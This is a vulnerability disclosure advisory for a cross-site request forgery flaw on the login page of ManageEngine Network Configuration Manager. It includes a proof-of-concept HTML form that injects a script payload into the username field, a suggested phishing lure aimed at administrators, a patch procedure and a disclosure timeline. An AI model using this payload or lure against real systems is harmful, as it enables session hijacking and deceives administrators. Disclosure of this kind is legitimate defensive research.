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Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network

Title:- Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network 
Configuration Management
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine Network Configuration Manager 
Tested Version: : Network Configuration Manager Build 11000
Severity: HIGH

About the Product:
==================

Network Configuration Manager is a web?based, multi vendor network change, 
configuration and compliance management (NCCCM) solution for switches, routers, 
firewalls and other network devices. Trusted by thousands of network 
administrators around the world, Network Configuration Manager helps automate 
and take total control of the entire life cycle of device configuration 
management.

Description: 
============

This Cross-Site Request Forgery vulnerability enables an anonymous attacker to 
add an device into the application. and device fileds are vulnerable tocross 
site scripting attack This leads to compromising the whole domain as the 
application. 

Vulnerability Class:
====================

Cross-Site Request Forgery (CSRF) - 
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

How to Reproduce: (POC):
========================

* Add follwing code to webserver and send that malicious link to application 
Admin.

* No Login Required as this is on logon Page

( Soical enginering might help here 

* For Example :- Device password has been changed click here to reset

CSRF COde
=========
<html>

  <body>

    <form action="http://192.168.1.10:8080/netflow/jspui/j_security_check";>

      <input type="hidden" name="radiusUserEnabled" value="false" />

      <input type="hidden" name="AUTHRULE&#95;NAME" value="Authenticator" />

      <input type="hidden" name="j&#95;username" 
value="admin52f43&apos;&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;6f472a19875"
 />

      <input type="hidden" name="j&#95;password" value="admin" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>




Mitigation
==========
1. Download the security.xml from here 
https://drive.google.com/file/d/0B6Vlr2bSsrysR3N1cE82NUNJV28/view?usp=sharing
2. Stop the NCM service.
3. Replace the attached security.xml under NCM_Home/webapps/netflow/WEB-INF.
4. Start the NCM service and test for the Vulnerability


Disclosure: 
===========
28-JAN-2016 Repoerted to vendor
29-JAN-2016 Fixed By Vendor

#credits:
Kaustubh Padwad
Information Security Researcher
kingkaustubh@xxxxxx
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad